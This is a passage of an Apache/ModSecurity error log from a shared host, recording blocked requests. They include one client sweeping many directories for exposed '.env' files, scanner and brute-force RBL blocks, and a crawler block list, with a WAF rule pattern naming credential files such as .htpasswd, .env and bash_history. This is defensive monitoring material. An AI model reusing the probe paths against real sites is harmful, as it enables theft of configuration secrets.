[Sat Jun 13 18:17:22.557235 2026] [access_compat:error] [pid 646876:tid 646964] [remote 57.141.14.36:29098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:22.658737 2026] [security2:error] [pid 648189:tid 648449] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fm/.env"] [unique_id "ai3zElWSojQL4F7upKBkpQAAAOM"] [Sat Jun 13 18:17:22.742369 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.37:54304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:22.742846 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.37:54304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:22.751060 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.69:47258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:22.751473 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.69:47258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:22.797618 2026] [security2:error] [pid 648189:tid 648440] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/font-icons/.env"] [unique_id "ai3zElWSojQL4F7upKBkqwAAANs"] [Sat Jun 13 18:17:22.943165 2026] [security2:error] [pid 648189:tid 648438] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fonts/.env"] [unique_id "ai3zElWSojQL4F7upKBkrwAAANk"] [Sat Jun 13 18:17:22.997436 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:22.999668 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:23.080139 2026] [security2:error] [pid 648189:tid 648371] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/framework/.env"] [unique_id "ai3zE1WSojQL4F7upKBktAAAAJc"] [Sat Jun 13 18:17:23.125636 2026] [security2:error] [pid 646876:tid 646900] [remote 17.246.15.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zE9yTkdrNlD40tSGuRwAAehU"] [Sat Jun 13 18:17:23.217251 2026] [security2:error] [pid 648189:tid 648378] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/front-app/.env"] [unique_id "ai3zE1WSojQL4F7upKBktwAAAJ4"] [Sat Jun 13 18:17:23.245782 2026] [security2:error] [pid 648189:tid 648286] [remote 216.73.216.223:17997] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zE1WSojQL4F7upKBkuQABAEA"] [Sat Jun 13 18:17:23.303723 2026] [security2:error] [pid 648189:tid 648296] [remote 17.22.237.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zE1WSojQL4F7upKBkvwAApEo"] [Sat Jun 13 18:17:23.355715 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/front-empathy/.env"] [unique_id "ai3zE1WSojQL4F7upKBkwAAAAKg"] [Sat Jun 13 18:17:23.466549 2026] [security2:error] [pid 648189:tid 648341] [remote 17.246.23.83:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zE1WSojQL4F7upKBkwQAAsXY"] [Sat Jun 13 18:17:23.488687 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:23.489131 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:23.492355 2026] [security2:error] [pid 648189:tid 648409] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/front-end/.env"] [unique_id "ai3zE1WSojQL4F7upKBkxgAAALw"] [Sat Jun 13 18:17:23.565287 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.34:41666] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:23.565740 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.34:41666] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:23.630211 2026] [security2:error] [pid 648189:tid 648428] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/front/.env"] [unique_id "ai3zE1WSojQL4F7upKBkzAAAAM8"] [Sat Jun 13 18:17:23.692106 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.19:40584] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:23.692381 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.19:40584] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:23.711134 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.37:54308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:23.711415 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.37:54308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:23.766445 2026] [security2:error] [pid 648189:tid 648400] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/front/src/.env"] [unique_id "ai3zE1WSojQL4F7upKBk0wAAALQ"] [Sat Jun 13 18:17:23.906533 2026] [security2:error] [pid 648189:tid 648449] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/frontend/momentum-fe/.env"] [unique_id "ai3zE1WSojQL4F7upKBk1QAAAOM"] [Sat Jun 13 18:17:24.016462 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:17:24.016937 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:17:24.042312 2026] [security2:error] [pid 648189:tid 648477] [client 114.119.156.175:59919] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "azarrow.com"] [uri "/state-history/arkansas/799-bradley-and-calhoun-counties"] [unique_id "ai3zFFWSojQL4F7upKBk2wAAAPs"], referer: http://azarrow.com/state-history/arkansas/799-bradley-and-calhoun-counties [Sat Jun 13 18:17:24.043118 2026] [security2:error] [pid 648189:tid 648380] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/frontend/react/.env"] [unique_id "ai3zFFWSojQL4F7upKBk2gAAAKA"] [Sat Jun 13 18:17:24.106677 2026] [security2:error] [pid 648189:tid 648300] [remote 202.172.25.51:48902] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.downtownweiser.dennis-cooper.com"] [uri "/xmlrpc.php"] [unique_id "ai3zFFWSojQL4F7upKBk3gAAkU4"] [Sat Jun 13 18:17:24.106934 2026] [security2:error] [pid 648189:tid 648365] [client 202.172.25.51:48902] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "www.downtownweiser.dennis-cooper.com"] [uri "/xmlrpc.php"] [unique_id "ai3zFFWSojQL4F7upKBk3gAAkU4"] [Sat Jun 13 18:17:24.178775 2026] [security2:error] [pid 648189:tid 648478] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/frontend/vue/.env"] [unique_id "ai3zFFWSojQL4F7upKBk4gAAAPw"] [Sat Jun 13 18:17:24.464480 2026] [security2:error] [pid 648189:tid 648369] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/frontendfinaltest/.env"] [unique_id "ai3zFFWSojQL4F7upKBk8QAAAJU"] [Sat Jun 13 18:17:24.523252 2026] [access_compat:error] [pid 646876:tid 646988] [remote 57.141.14.60:38558] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:24.523716 2026] [access_compat:error] [pid 646876:tid 646988] [remote 57.141.14.60:38558] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:24.591550 2026] [autoindex:error] [pid 648189:tid 648418] [client 36.68.124.48:54050] AH01276: Cannot serve directory /home4/bsjlfkmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:17:24.602531 2026] [security2:error] [pid 648189:tid 648451] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ftp/.env"] [unique_id "ai3zFFWSojQL4F7upKBk9AAAAOU"] [Sat Jun 13 18:17:24.605841 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L21vdXNlMi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:24.606269 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L21vdXNlMi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:24.616799 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.83:43440] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:24.617255 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.83:43440] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:24.643659 2026] [security2:error] [pid 646876:tid 646896] [remote 209.74.93.184:33482] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.93.74.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gycblinds.com"] [uri "/wp-login.php"] [unique_id "ai3zFNyTkdrNlD40tSGuXgAAWxE"], referer: https://gycblinds.com/wp-login.php [Sat Jun 13 18:17:24.655888 2026] [security2:error] [pid 648189:tid 648468] [client 34.23.213.224:41002] 